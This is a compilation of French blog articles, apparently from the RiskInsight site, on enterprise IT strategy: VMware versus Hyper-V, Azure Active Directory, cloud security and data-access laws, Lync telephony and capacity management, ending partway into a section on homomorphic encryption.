Microsoft est-il vraiment capable de mettre en difficulté VMware ? Faut-il migrer vers Hyper-V ? Adopter une stratégie « multi-sourcing » ? Autant de questions que se pose le marché et auxquelles nous avons tenté de répondre.

Microsoft, un sérieux challenger de VMware

Depuis l’avènement de la virtualisation x86, VMware est le leader incontesté du marché. La majorité des grandes entreprises utilisent sa solution vSphere et en sont satisfaites.

Cependant, comme toute situation de quasi-monopole, cette domination du marché entraîne des préoccupations. Les produits VMware sont chers et la politique commerciale peut évoluer rapidement (la mise en place d’une facturation à la mémoire vive utilisée, abandonnée par VMware par la suite, avait suscité un tollé auprès de ses clients).  De plus la réversibilité est complexe et coûteuse.

De son côté, Microsoft a décidé d’accélérer sa pénétration du marché en intégrant le produit Hyper-V dans Windows Server depuis la version 2008. Jusqu’ici en retard techniquement, Hyper-V s’est amélioré à chaque itération jusqu’à devenir, avec Windows Server 2012 R2 et la suite System Center, un sérieux challengeur de VMware.

Aujourd’hui, la course entre VMware et Microsoft ne se concentre plus sur les caractéristiques techniques maximales ou sur les fonctionnalités. En effet, bien que différentes, les deux solutions répondent à la très grande majorité des besoins (qui a besoin d’une machine virtuelle avec plus de 64 vCPU ?).

Alors comment choisir ? En pratique, VMware reste encore en avance au niveau de l’exploitabilité  et dispose d’un plus grand écosystème de composants compatibles, alors qu’Hyper-V est généralement plus compétitif financièrement.

Au-delà de ces points (qui sont à relativiser selon le contexte de chaque client et les accords éditeurs), ce sont la vision et les trajectoires des deux géants qui doivent être pris en considération.

Deux trajectoires différentes, mais une vision Cloud commune

Les deux constructeurs partagent en effet une vision du Cloud similaire, basée sur le pilotage unifié de ressources internes au sein d’un Cloud privé et externes au sein de leur Cloud public ou de celui d’un partenaire. En revanche leurs trajectoires sont différentes et liées à l’historique.

Ainsi VMware, fort sur la virtualisation on-premise, a développé une offre de Cloud privé complète et résiliente avant de développer des services de Cloud public (vCHS) et une interconnexion avec un réseau de partenaires (Amazon, OVH, et plus généralement tout fournisseur proposant un connecteur vCloud).

De son côté Microsoft a eu une approche inverse. Il est parti de son Cloud public Azure, lancé bien plus tôt, et a développé dans un second temps son offre de Cloud privé basée sur Hyper-V (avec la suite System Center et Azure pack) en intégrant progressivement les fonctionnalités développées pour Azure.

Qu’en conclure ? Nos deux géants ont une vision fondamentalement différente dans la conception des architectures du Cloud public ! Quand Microsoft adopte une approche où l’application doit intégrer la haute-disponibilité au sein de son architecture (concept dit du design for failure), VMware part au contraire du principe que c’est à l’infrastructure d’offrir des services résilients.

Qu’aller chercher avec Hyper-V ?

Le principal intérêt reste financier : Hyper-V est compétitif. Pour une entreprise ayant un important parc Windows Server, les licences nécessaires sont souvent déjà acquises par l’entreprise (licences Windows Server Datacenter et System center). Le levier d’économie est alors substantiel.

Un autre intérêt est la mise en place d’une stratégie de Dual Sourcing, en ayant une ligne de service Hyper-V et une ligne de service VMware. Ainsi, l’entreprise peut rester indépendante des fournisseurs tout en ayant de plus gros leviers de négociation.

En revanche, il ne faut pas sous-estimer la complexité et le coût d’un projet de migration d’une partie d’un parc. Une approche « Big Bang » est trop risquée et nous conseillons plutôt d’adopter une approche progressive.

Comment ? En commençant par expérimenter Hyper-V en démarrant un pilote sur un périmètre limité et non critique (par exemple quelques environnements de test / staging). Ce pilote permettra de vérifier l’exploitabilité de la plateforme et d’acquérir les compétences en interne. Une généralisation pourra être envisagée par la suite sur une filière complète (environnements de développements et de tests par exemple), selon  les résultats et les opportunités.

Si vous souhaitez aller plus loin en matière de « dual sourcing » et simplifier l’architecture globale, il est préférable de piloter les infrastructures Hyper-V et VMware avec la même solution. Microsoft (avec SCVMM), VMware (avec vCAC) ou des tiers (comme HP avec HP OO) proposent des outils, permettant alors de tirer bénéfice des deux plateformes, tout en simplifiant l’exploitation.

Et la cerise sur le gâteau ? Opter pour ces outils permettront à l’entreprise de se préparer à une approche Cloud Hybride !

Cet article Virtualisation : une hyper compétition entre VMware et Microsoft est apparu en premier sur RiskInsight.

Microsoft fait partie de ces acteurs de l’IAM pour le cloud. En raison de son rôle déterminant dans le SI « On-Premises » des entreprises, nous allons nous pencher de plus près sur sa solution : Windows Azure Active Directory (WAAD).

WAAD : une solution IAM-as-a-Service pour le cloud

Contrairement à ce que pourrait indiquer son nom, la solution Windows Azure Active Directory n’est pas un Active Directory hébergé dans Azure, la plate-forme cloud de Microsoft.

Officiellement lancée le 8 avril 2013, WAAD est décrit par Microsoft comme « une solution complète et sécurisée pour la gestion des identités et des accès dans le cloud. Elle combine des services d’annuaires principaux, une gouvernance des identités avancée, une gestion et une sécurisation des accès aux applications ».

Microsoft propose donc WAAD comme solution d’IAM-as-a-Service permettant, entre autres, de couvrir les applications hébergées dans le cloud. Contrairement à son approche « brique à brique » traditionnelle pour les services IAM On-Premises, dans laquelle chaque service est fourni par un produit spécifique, Microsoft adopte là une approche plus globale comme le démontre le tableau suivant :

Windows Azure Active Directory permet ainsi aux entreprises de :

• Étendre au cloud les identités gérées localement au sein d’un Active Directory On-Premises ;
• Gérer les identités et accès depuis le cloud, à la fois pour les applications cloud de Microsoft (Office 365, Dynamics CRM Online, Windows Intune), pour un nombre important d’applications SaaS du marché, mais également pour toute application que l’entreprise raccorde à WAAD ;
• Apporter une connexion unique (SSO) aux applications hébergées dans le cloud, voire aussi, dans certains cas, aux applications On-Premises ;
• Protéger les applications les plus critiques avec une solution d’authentification forte.

Notons que certains services proposés sont antérieurs à la date de lancement officielle puisqu’ils ont été introduits dès 2010 pour offrir les fonctionnalités de gestions des identités et des accès à Office 365. C’est ainsi que Microsoft a pu afficher les chiffres de 265 milliards d’authentifications réalisées et de 2,9 millions d’organisations clientes à la date de lancement de la solution.

Comment mettre en œuvre WAAD ?

Deux modes d’implémentation sont envisageables en fonction des usages que l’entreprise souhaite couvrir.

La première possibilité est une implémentation en stand alone, sans aucun lien avec les annuaires ou briques d’identités présentes dans le SI de l’entreprise. Cette absence de lien avec les infrastructures de l’entreprise permet de bénéficier rapidement d’une solution IAM pour le cloud. Néanmoins, cela impose de gérer spécifiquement le cycle de vie des identités (créations, modifications, suppressions), des mots de passe (initialisations, réinitialisations) et des habilitations (affectations de groupes).

La seconde possibilité consiste à « étendre les identités locales vers le cloud ». Ce type d’implémentation permet de déployer simplement des applications cloud et ce de façon transparente pour les utilisateurs. Pour cela, une synchronisation unidirectionnelle entre un Active Directory géré localement et WAAD est mise en place (via l’outil DirSync). Dès lors, les processus de gestion du cycle de vie des identités déjà en place au sein de l’entreprise se retrouvent étendus au cloud.

Et afin de permettre un accès sans couture aux utilisateurs à la fois aux applications cloud et aux applications hébergées dans le SI de l’entreprise, il est nécessaire de disposer d’une infrastructure de fédération des identités On-Premises.

Par ailleurs, il est possible d’utiliser un module d’authentification forte. Un téléphone est alors indispensable quel que soit le mode d’authentification choisi : One-Time Password par SMS, OTP par appel téléphonique ou encore notifications sur smartphone. Notons que ces fonctionnalités reposent sur la solution de l’éditeur PhoneFactor, racheté par Microsoft en octobre 2012.

Rappelons que Windows Azure Active Directory reste une solution d’IAM pour le cloud parmi d’autres. Dans un marché où des mouvements sont à prévoir dans les mois qui viennent, on peut se demander quels sont les véritables bénéfices de ces solutions, et ce qui les distingue les unes des autres. Des questions qui seront abordées dans un prochain article…

Cet article Identité dans le cloud : le marché se structure, quid de l’approche de Microsoft ? est apparu en premier sur RiskInsight.

Des craintes à relativiser …

Disponibilité du Cloud

Chaque incident touchant l’un des grands acteurs du Cloud fait la « Une » de l’actualité, mettant sur le devant de la scène la question de sa disponibilité.

Il s’agit pourtant d’un faux problème : les taux de disponibilité des services Cloud sont souvent  supérieurs à ceux des systèmes internes des entreprises. La situation, d’un point de vue médiatique, est comparable à celle des accidents aériens : bien que rares, ils choquent l’opinion et intéressent les journalistes beaucoup plus que les accidents de voiture, qui font pourtant annuellement plus de victimes. La disponibilité n’est donc pas un risque inhérent au Cloud. Il reste néanmoins une spécificité à laquelle il faut prêter attention : la connectivité avec le fournisseur Cloud. Si celui-ci utilise internet comme unique moyen d’accès à ses datacenters, le risque d’indisponibilité de cet accès et d’internet en tant que tel doit être pris en compte.

 Confidentialité des données

Mes données sont-elles isolées de celles des autres clients ? Les administrateurs peuvent-ils y accéder ? Il est important de remettre ces craintes en perspective. D’une part, toutes les données de l’entreprise ne sont pas critiques en termes de confidentialité. D’autre part, si ces questions se justifient dans certains cas, elles ne sont pas nouvelles et ont trouvé leurs réponses il y a déjà plusieurs années, à l’heure des premiers contrats d’externalisation IT ou de l’emploi d’administrateurs prestataires. Les principales différences résident dans l’éloignement potentiel et le degré de contrôle possible du fournisseur.

La confidentialité des données vis-à-vis des Etats reste un sujet plus complexe à adresser. Ces derniers disposent en effet de textes leur permettant d’accéder aux données présentes dans les systèmes hébergés sur leur sol. Les USA font souvent figure d’épouvantail, leurs textes ayant en plus une portée extraterritoriale (Patriot Act, FISAA). Ces textes permettent à la justice et aux forces de l’ordre américaines d’accéder aux données manipulées par des sociétés de droit américain quel que soit le client et la localisation des données. Le risque est donc que des Etats aient accès aux données dans un objectif d’espionnage économique. Ce risque est réel comme l’illustrent les révélations sur les moyens dont dispose la NSA. Mais là encore, la portée du risque est à mesurer. Seules quelques données ont un niveau de sensibilité élevé : étatiques (administrations, défense, etc.), stratégiques pour l’entreprise dans un environnement à forts enjeux concurrentiels, géopolitiques, etc.

 Conformité réglementaire

La conformité réglementaire (PCI-DSS, LIL…) des offres Cloud, notamment en matière de protection des données à caractère personnel est également un sujet d’inquiétude. La situation reste très variable en fonction des acteurs, même si des réponses techniques (localisation des données, chiffrement…) ou juridiques (Safe Harbour, contrat type de la commission européenne…) existent aujourd’hui chez la plupart d’entre eux.

… car la sécurité est au cœur de la préoccupation des fournisseurs

Très visibles et régulièrement attaqués, les fournisseurs majeurs de Cloud mettent souvent en place des équipes dédiées pour assurer la sécurité de leurs services. La sécurité est même devenue pour certains d’entre eux l’un  des principaux arguments de vente.

Attention cependant : tous n’assurent pas le même niveau de sécurité. Il reste donc important de préciser avec le fournisseur les mesures incluses dès la signature du contrat, d’autant qu’il est difficile de faire évoluer les mécanismes de sécurité d’un fournisseur quand ceux-ci ne sont pas prévus initialement. Certains fournisseurs de solutions « SaaS métier » de taille petite et intermédiaire négligent parfois la sécurité : les audits et tests d’intrusion ont pour ce type d’offres une importance accrue.

Vers une coresponsabilité fournisseur / entreprise

Analyse de risque : passer de l’intention à l’action

Suivre une démarche d’analyse de risque est impératif pour lever les freins relatifs à l’adoption du Cloud. La finalité de l’analyse n’est pas d’interdire le Cloud par défaut mais plutôt d’identifier les données sensibles afin d’accompagner les projets de la manière la plus sûre et la plus pertinente. L’implication des responsables sécurité dès le démarrage des projets est donc essentielle. Ils doivent identifier les risques que l’on peut réduire par des moyens techniques et organisationnels, et ceux résiduels impossibles à couvrir. Aux Métiers et à la Direction de décider ensuite si ceux-ci sont acceptables ou non pour l’entreprise. Et de revoir si besoin le périmètre de la démarche Cloud.

Des contrôles à ne pas négliger…

Durant le projet ou en amont lors de la phase de choix des fournisseurs, il est recommandé de poser des questions précises sur les mesures de sécurité pour ne pas laisser place à des réponses ambiguës. Par exemple, beaucoup de fournisseurs mettent en avant leurs certifications.

Il convient de vérifier le type de certification et le périmètre concerné. Un certain nombre d’acteurs du Cloud acceptent d’ailleurs de fournir des détails sur l’architecture de leur solution, après signature d’un accord de non-divulgation. La capacité à répondre rapidement et de manière détaillée aux questions permet de se forger un avis sur la maturité de l’offre proposée.

En outre, la possibilité d’auditer le prestataire Cloud est un bonus à ne pas négliger. Accepter un audit est une preuve de transparence du fournisseur et de confiance en son niveau de sécurité. Même si les plus grands acteurs anglo-saxons s’y refusent, il est toujours utile de poser la question, notamment pour des acteurs de taille intermédiaire.

Des référentiels émergents

Un outillage commence à voir le jour pour aider les entreprises à évaluer les risques et le niveau de sécurité inhérent. En France, l’ANSSI (Agence Nationale de la Sécurité des Systèmes d’Information) a publié un guide pour accompagner les démarches de type Cloud computing. Au niveau européen, l’ENISA (European Network and Information Security Agency) fournit une analyse générique mais complète des risques liés au Cloud. Enfin, outre- Atlantique, l’association Cloud Security Alliance, qui regroupe les acteurs majeurs, a mis au point la Cloud Controls Matrix. Cette matrice permet de comparer de nombreux fournisseurs sur des critères de sécurité précis. Bien que fondée sur les seules déclarations desdits fournisseurs, elle peut s’avérer utile pour comparer les offres.

Le chiffrement : graal de la sécurité Cloud ?

Parmi les solutions techniques permettant de réduire les risques du Cloud, le chiffrement se positionne en tête. Et si aujourd’hui son utilisation nécessite souvent de donner les clés de déchiffrement au fournisseur, des innovations technologiques se profilent. Elles permettront de transférer et de traiter des données à distance sans jamais donner au fournisseur d’accès direct. Bien qu’encore expérimentales, ces techniques, rassemblées sous la bannière du chiffrement homomorphique, méritent qu’on les suive avec attention.

Ne pas mettre ses responsabilités dans les nuages

Contrairement à ce que trop d’entreprises pensent, leur responsabilité ne s’arrête pas une fois la solution Cloud mise en production. Si le fournisseur est tenu de respecter un certain nombre

de règles de sécurité, le maintien du niveau de protection dans le temps relève aussi de la  responsabilité de l’entreprise. Pour cela, les bonnes pratiques appliquées au SI d’entreprise doivent être transposées au Cloud : gouvernance de la sécurité (processus, sensibilisation des utilisateurs), administration fonctionnelle de la sécurité, configuration des options de sécurité avancées, restriction des droits requis par les utilisateurs, formation des administrateurs, revue régulière des paramètres de configuration… Ceci est particulièrement vrai pour la gestion des identités et des accès, élément clé pour garantir la confidentialité des données dans le Cloud.

Cet article Sécurité et Cloud, un mariage de raison est apparu en premier sur RiskInsight.

La téléphonie Lync, un démarrage difficile

Microsoft Office Communicator, lancé en 2007 et permettant des échanges en temps réel entre collaborateurs (IM, appels audio/vidéo, présence), devient Lync en 2010 (contraction de « Link » et « Sync »). Ce nouveau produit offre à Microsoft l’opportunité de faire son entrée dans le monde convoité de la téléphonie et des communications unifiées. En se basant sur son historique et son expertise reconnus sur les solutions logicielles collaboratives, Microsoft anticipe une adoption rapide de cette nouvelle brique téléphonie. Cependant, de 2010 à 2012, Lync a du mal à convaincre les Grands Comptes qui ne se sentent pas prêts à jouer les pilotes sur une fonctionnalité aussi critique que la téléphonie, avec un produit sur lequel les intégrateurs n’ont pas vraiment d’expérience.

Moins d’un an après les premiers déploiements à grande échelle, la question la plus fréquemment posée est encore « quels avantages aurais-je à utiliser la téléphonie Lync ?« . Une question qui mérite d’être posée au vu de l’intérêt croissant des entreprises pour les outils collaboratifs – et de fait toute solution les englobant.

Des fonctionnalités distinctes selon le type de licence

Lync a été pensé pour différents usages, traduits par différents niveaux de licences cumulatives. La licence Standard supportant les fonctions « basiques » – IM, présence, appels audio/vidéo poste à poste, interconnexion Skype -, il faudra investir dans la licence Enterprise afin d’avoir accès à l’organisation de réunions, de conférences audio, vidéo ou web. Enfin une souscription supplémentaire à la licence Plus donnera accès aux fonctions de téléphonie telles que les appels vers/depuis l’extérieur de l’entreprise, les renvois d’appel, les groupes de réponse, la délégation patron/secrétaire ou encore les appels d’urgence.

La licence Plus permet réellement d’utiliser le poste de travail comme élément central de la téléphonie, en s’appuyant sur différents périphériques. Il est envisageable d’utiliser les haut-parleurs et le micro de l’ordinateur, ce qui n’engage aucun frais de matériel supplémentaire (sauf pour certains PC/Mac fixes) mais nécessite en revanche des composants de bonne qualité et un environnement sonore extrêmement calme. Le casque audio USB ou sans-fil est souvent le meilleur investissement, permettant une qualité sonore appréciable dans la plupart des cas. Un téléphone physique relié en USB, sans aucune intelligence embarquée, peut être également mis en place. Dans ces deux derniers cas, l’extinction du PC entraîne bien entendu la désactivation du périphérique audio.

Semblables aux solutions classiques de ToIP, des téléphones IP stand-alone peuvent aussi être utilisés, une fois reliés au même compte Lync que celui auquel est connecté le client PC/Mac. Il est alors toujours possible de recevoir et émettre des appels, même avec un PC éteint. Pour les usages en salle de réunion, les Meeting-Phones (ou « Pieuvres audioconférence ») seront préférées, tandis que les solutions naissantes DECT et téléphones Wi-Fi seront destinées aux usines et aux gardiens, embarquant des fonctions avancées telles que la détection d’homme à terre.

La version mobile, Lync Mobile 2013 permet de retrouver la plupart des fonctionnalités offertes par le client (IM, appels audio/vidéo sur IP, partage de présentation PowerPoint réunions en ligne…) sur smartphone ou tablette iOS, Android ou Windows Phone à travers les applications dédiées. À noter que cette version 2013 permet de réels appels Lync (qui rejoignent le réseau de l’entreprise à travers le serveur Edge et le Reverse Proxy) via Wi-Fi ou 3G/4G.

Du point de vue de l’architecture et du sourcing ?

Au niveau architecture globale, Lync ne diffère pas réellement des solutions que peuvent proposer les autres constructeurs de téléphonie, si ce n’est que l’ensemble des services peut être concentré sur un seul serveur (« Front End »), là où d’autres solutions pourraient nécessiter un serveur par application.

Microsoft a également profité de la montée de version majeure de Lync (2010 à 2013) pour faire ses premiers pas dans le Cloud en proposant non plus un seul modèle d’architecture physique (« Server » ou « On Premise« ) mais également une version « Online« , avec la possibilité de mettre en place une architecture « hybride » mixant les deux solutions.

Si la plupart des fonctions de base sont supportées dans les trois versions, seule la version Server permet l’activation de la téléphonie. A l’instar de ses concurrents, Lync permet une connexion au Réseau Téléphonique Commuté (RTC) centralisée ou en local via des passerelles. Sur les sites où la téléphonie a un impact direct sur les métiers (centres d’appels notamment), il est possible d’installer en sus de la passerelle un serveur Lync Standard Edition (SE) ou une Survivable Branch Appliance (SBA) pour conserver l’ensemble de fonctions de téléphonie avancées en cas de perte du WAN (groupes de réponses, conférences,…).

À noter que Microsoft n’est pas fournisseur de ces passerelles, contrairement à Cisco qui fabrique ses propres « Cisco Integrated Services Routers ». L’entreprise de Redmond oriente alors ses clients vers des fournisseurs homologués tels que AudioCodes ou encore Sonus (ex-NET). Il est également important de savoir que l’offre Lync Online (à travers la solution Office 365) ne supporte pas la téléphonie.

Cet article De l’outil collaboratif à la téléphonie, Lync peut-il trouver sa place en entreprise ? est apparu en premier sur RiskInsight.

Le contexte ambiant laisse du reste peu de place à l’anticipation… Les DSI doivent assurer les transformations du SI dans des délais toujours plus courts. Un nouveau marché peut être gagné, un nouveau besoin métier émerger sans que la DSI n’ait beaucoup de temps pour étudier les impacts sur le SI existant et mettre en œuvre la solution adéquate. Comment par exemple absorber en quelques mois une augmentation de 100% du volume de données traitées et faire face à des problématiques de scalabilité horizontale et verticale ? En voici quelques clés.

Gagner du temps en conjugant  les solutions techniques du marché

Le Cloud public est séduisant sur le papier, la scalabilité étant assurée par l’hébergeur du service. Cette solution est du reste à privilégier pour des services ayant peu de dépendances avec d’autres applications du SI (application RH, gestion de trésorerie…). La migration de la totalité d’un SI vers ce type d’offres, sans déjà posséder un Cloud hybride, s’avère en effet très difficile dans des délais serrés.

Les solutions intégrées, de leur côté, incluant à la fois le matériel et le logiciel, sont pertinentes lorsque le parc applicatif (serveur d’applications ou bases de données) est homogène et que le besoin de montée en capacité concerne plusieurs applications. L’investissement est bien sûr conséquent et le choix structurant pour le SI, mais le gain de temps n’est pas négligeable lors de la mise en œuvre. De plus, ces solutions comportent des mécanismes permettant d’activer de la puissance supplémentaire à la demande, ce qui laisse plus de souplesse pour effectuer le dimensionnement initial des infrastructures.

La virtualisation est pour finir une solution plus adaptée en présence d’un parc applicatif hétérogène et fractionné. Les mécanismes fournis par les éditeurs, notamment la copie de machine virtuelle, sont des accélérateurs pour la création des différents environnements d’une même application. La montée en charge des systèmes est quant à elle facilitée grâce au mécanisme permettant d’ajouter de la mémoire et des processeurs virtuels en quelques clics. Le rajout d’un nouveau nœud dans un cluster existant reste également une opération simple et maîtrisée par les exploitants. La virtualisation est en un mot de loin la solution privilégiée par les clients devant faire évoluer un existant.

Anticiper et sécuriser la transformation grâce au capacity management

La souplesse et les gains de temps offerts par les solutions présentées précédemment ne doivent pas faire oublier l’importance d’évaluer les besoins en capacité et performance.

Les services sollicitant fortement les processeurs ou la mémoire (bases de données à forte volumétrie, batchs, calculs scientifiques…) ne sont pas les candidats idéaux pour la virtualisation. Il faudra donc dimensionner les futurs serveurs physiques exécutant ces applications avec minutie.

Concernant les chantiers de refonte du SAN et du cœur LAN, notre marge de manœuvre est également réduite, ces éléments centraux étant difficilement évolutifs sans impacter la production. Le capacity management s’avère dans ce cas indispensable pour déterminer si ces équipements doivent être remplacés pour supporter la montée en charge du SI.

In fine, face à des délais serrés, la capacité à s’appuyer et à conjuguer les solutions technologiques du marché  et la connaissance de son parc matériel au travers du capacity management sont les leviers clés pour augmenter sereinement la capacité du SI.

Pour autant, il est essentiel de garder en tête que nul chantier ne peut être mené à bien sans l’implication et la fédération des acteurs aussi bien IT que Métiers qui doivent travailler ensemble à la réussite de ce projet. Pour relever le défi c’est bien ce triptyque gagnant qu’il faut mettre en œuvre.

Cet article Doubler les capacités du SI en 6 mois : prêts à relever le défi ? est apparu en premier sur RiskInsight.

Pour autant, même une fois cette démarche menée à bout, plusieurs doutes persistent.

Si l’actualité récente a fait éclater l’affaire PRISM , la réalité des accès aux données est pourtant connue depuis de nombreuses années.

 Les risques d’accès aux données sont réels, depuis longtemps

Les quelques années de recul et d’expérience sur le Cloud montrent que les craintes quant à l’accès aux données hébergées à l’étranger sont justifiées.

L’exemple le plus souvent cité est celui du USA PATRIOT Act : sur requête du gouvernement américain et après contrôle par un juge, toute entreprise américaine, ou située sur le sol américain, ainsi que tout citoyen américain (où qu’il soit), se doivent de fournir aux autorités un accès aux données auxquelles ils ont accès. Dans le cas d’une entreprise de droit américain, l’obligation s’étend en dehors du territoire national : si ses infrastructures sont situées en Union Européenne, la loi s’applique.

Le Syntec Numérique a publié un éclairage intéressant sur le sujet en avril 2013. On y précise notamment  qu’un contrôle par un juge peut être réalisé avant la divulgation des données… Ou après, donc trop tard pour l’empêcher.

Cette loi pose donc  en théorie le problème de la confidentialité des données. Dans la réalité, ces craintes se justifient principalement si les données manipulées ont un niveau de sensibilité très élevé : étatiques (administrations, défense, etc.), stratégiques pour l’entreprise dans un environnement à forts enjeux concurrentiels, géopolitiques, etc.

Pour autant, et c’est un aspect moins connu, la majorité des gouvernements mondiaux disposent de prérogatives équivalentes. Le grand cabinet d’avocats Hogan Lovells a publié une étude à ce sujet en 2012, incluant notamment un comparatif des législations de 10 grands pays sur l’accès aux données Cloud : beaucoup (dont la France) disposent de prérogatives similaires, parfois plus larges et moins contrôlées.
Pourquoi alors se focalise-t-on généralement sur le USA Patriot Act ? Principalement car les acteurs majeurs du Cloud sont aujourd’hui américains,  donc soumis à la législation américaine.

Cependant, ne considérer que l’aspect strictement légal est encore trop réducteur : l’entreprise doit également se demander si le pays sur le sol duquel ses  données critiques sont hébergées a des intérêts allant dans le même sens que les siens.

Dans tous les cas, les conseils de juristes spécialisés sont indispensables pour avoir une position précise et adaptée.

 Les fournisseurs français de Cloud computing, solution du problème ?

Sur le papier, stocker ou traiter ses données chez un prestataire de droit français sur le sol français semble la solution idéale…  en théorie seulement.

En effet, de nombreuses fournisseurs français ont des centres de traitement et de stockage dans le monde entier… Même si vos données n’y sont ni stockées ni traitées, ceux-ci pourraient être connectés aux centres situés sur le sol français (et donc permettre d’y donner accès à distance).

Au-delà des données, se pose la question des équipes décentralisées : un Cloud hébergé en France, mais dont les équipes d’administration sont situées aux quatre coins du monde (par exemple pour fournir un support 24/7) doit également faire l’objet d’attentions.

Une fois encore, tous ces risques sont à relativiser : ils ne concernent que les données réellement sensibles.

Entre protections juridiques et solutions techniques, la bonne parade reste encore à trouver

Un moyen de se protéger des divulgations indésirables pourrait consister en l’ajout de clauses contractuelles interdisant à son fournisseur de le faire. Malheureusement, ce dernier risque de ne tenir aucun compte desdites clauses lorsqu’une demande officielle de son gouvernement lui parviendra. Pire, dans le cas des lois américaines, il peut lui être interdit d’avertir le propriétaire des données que celles-ci ont été transmises (il s’agit du principe de gag order).

Dans certains cas, il est possible de prendre certaines précautions très spécifiques. Nous conseillons parfois à nos clients de demander l’isolation de leurs données  dans le datacenter du fournisseur, dans une salle sous alarme dont seule l’entreprise détient la clé. Là encore, cela n’empêchera pas un accès aux données, mais permettra au moins à l’entreprise d’en avoir connaissance.

Une véritable solution pourrait provenir de la technologie : un chiffrement adéquat des données permettrait de s’assurer que même en cas d’accès aux données, celles-ci sont correctement protégées. Cela nécessite des technologies de chiffrement de confiance (par exemple en France, qualifiées par l’ANSSI), afin que les données soient sécurisées sur tout leur parcours : pendant leur transmission sur le réseau, au moment de leur utilisation, et lorsqu’elles sont stockées dans le Cloud.

À ce titre, le chiffrement dit « homomorphique » constitue une perspective d’avenir intéressante…

Cet article Cloud et sécurité : mythes et réalité (partie 2) est apparu en premier sur RiskInsight.

En particulier, la question de la protection des données transmises, traitées et sauvegardées apparaît comme cruciale. Ces points préoccupent aujourd’hui les experts techniques, les managers d’information, et parfois même les directions des entreprises.

Le Cloud est-il sûr ? Que risque-t-on en l’adoptant ? Comment y assurer la sécurité de ses données ?

Un service moins cher n’est pas forcément moins sécurisé

Il faut voir les risques liés au Cloud comme proches de ceux existants sur l’externalisation et la virtualisation avec en particulier la perte de contrôle de ses données et les risques liés aux technologies utilisées (virtualisation des systèmes et des réseaux, automatisation d’un certain nombre de tâches, etc.).

Pourtant, de manière générale, nous constatons en France que le niveau moyen de sécurité des services Cloud est au-dessus du niveau moyen de sécurité des entreprises. Plusieurs facteurs expliquent cela.

Le fait de fournir un service informatique à l’état de l’art (et donc sécurisé) est le métier des acteurs du Cloud. Chez la plupart d’entre eux, la mise en place et le respect des procédures de sécurité fait l’objet d’une attention particulière. Par ailleurs, ils proposent un service industrialisé à de nombreux clients : les bonnes pratiques exigées par l’un peuvent souvent être appliquées à tous.

Ces fournisseurs sont, enfin, plus exposés que la moyenne des entreprises, et ont de vrais enjeux en termes d’image : la découverte de faiblesses de sécurité amène en général à une correction rapide.

Inversement, si un mécanisme de sécurité n’est pas offert par un fournisseur (de base ou en option), il sera malheureusement difficile de l’obtenir : en sécurité comme pour les autres fonctionnalités, les offres Cloud manquent souvent de souplesse.

Attention cependant, contrairement à une idée répandue, toutes les offres Cloud ne se valent pas : de véritables différences peuvent exister d’un fournisseur à un autre.

Des outils dédiés existent pour évaluer ses risques de sécurité

D’un point de vue sécurité, la démarche est celle – classique – de l’analyse de risque. Le but est ici d’accompagner les projets de mise en œuvre ou de migration vers le Cloud, et pas de les interdire.

Dans le cas du Cloud, un outillage spécifique commence à apparaître pour réaliser cette analyse. En France, l’ANSSI (Agence Nationale de  la Sécurité des Systèmes d’Information) a publié  un guide¹ pour accompagner les démarches de type Cloud computing. Au niveau européen, l’ENISA (European Network and Information Security Agency) fournit une analyse² générique mais complète des risques liés au Cloud.

Outre-Atlantique, l’association Cloud Security Alliance regroupant les acteurs majeurs du Cloud a mis au point son outil Cloud Controls Matrix³, qui permet de comparer de nombreux fournisseurs sur des critères de sécurité très précis. Si elle est basée sur les seules déclarations desdits fournisseurs, cette matrice peut néanmoins s’avérer utile.

Les comparaisons théoriques  ne suffisent pas

Il est parfois difficile de distinguer ce qui est présenté de ce qui est fait en réalité en termes de sécurité. Plusieurs critères permettent d’évaluer les fournisseurs.

Ils peuvent tout d’abord se prévaloir de différentes certifications : ISO 27001 (très adoptée et quasiment obligatoire aujourd’hui) et ISAE 3402/SAE 16 (très adoptées également, requises pour les groupes cotés aux États-Unis, dans la ligne de SOX). Des démarches spécifiques existent aussi dans certains domaines, comme pour les données de santé en France, ou PCI-DSS pour les données de cartes bancaires.

Pour autant, ces certifications ne sont pas toujours une assurance d’un niveau de sécurité adapté. Lors de la phase de choix des fournisseurs ou durant le projet, il apparaît nécessaire de poser des questions très précises, sans laisser de place à des réponses trop larges ou ambiguës.

Un certain nombre d’acteurs du Cloud accepteront d’ailleurs de fournir des détails sur le fonctionnement de leur solution, après signature d’un accord de non-divulgation. Des visites de datacenters sont aussi toujours très instructives, et permettent parfois de se forger un avis sur la maturité du niveau de sécurité de l’offre proposée.

Certains fournisseurs sont réticents à fournir des informations très précises préalablement à la signature du contrat, ils peuvent alors proposer l’ajout d’une clause permettant de dénoncer le contrat ultérieurement. Mais attention à ce mécanisme, une fois la mise en œuvre démarrée, faire marche arrière est presque impossible…

Enfin, la possibilité de contrôler le prestataire Cloud est un critère intéressant. Sa capacité à accepter un audit diligenté par ses clients est en effet une preuve de transparence, voire de confiance en son propre niveau de sécurité.

¹ : ANSSI – Externalisation, Cloud Computing : maîtriser les risques pour les systèmes d’information (http://www.ssi.gouv.fr/externalisation/)  

² : ENISA  – Cloud Computing Security Risk Assessment (http://www.enisa.europa.eu/activities/risk-management/)

³ : Cloud Security Alliance – Cloud Controls Matrix (https://cloudsecurityalliance.org/research/ccm/)

Cet article Cloud et sécurité : mythes et réalités (partie 1) est apparu en premier sur RiskInsight.

Le chiffrement « classique » : une réponse partielle aux inquiétudes

Dans ce cadre, l’envie de conserver une mainmise sur les données de l’entreprise émerge rapidement, et les technologies de chiffrement font leur retour sur le devant de la scène. L’idée serait de traiter au niveau du cloud des données chiffrées afin de limiter les risques d’écoute. Ceci est possible par exemple pour un service de stockage en ligne. Les données sont chiffrées dans l’entreprise puis envoyées sur le serveur, lors de l’accès elles sont déchiffrées localement par l’utilisateur. Cependant se pose rapidement la question de la capacité à traiter les données, en effet les attentes métiers vis-à-vis du cloud vont bien au-delà d’un simple espace de stockage !

Il est alors possible d’envisager un chiffrement uniquement au moment du stockage chez le fournisseur. Lors d’un traitement interne au service cloud (recherche de données, édition de bulletin de paye, calcul scientifique…) le fournisseur pourrait déchiffrer les données, réaliser le traitement puis chiffrer à nouveau. Cette méthode fonctionne techniquement mais elle ne répond pas aux multiples interrogations. En effet, pour que ce mécanisme fonctionne, le fournisseur doit disposer des clés de chiffrement. Mais qui nous assure alors qu’elles ne sont pas utilisées à mauvais escient ? Et ceci aussi bien par des employés du fournisseur, que des tiers (autorités ou pirates par exemple) qui auraient accès aux systèmes de gestion de clés.

Une solution à suivre : le chiffrement homomorphique

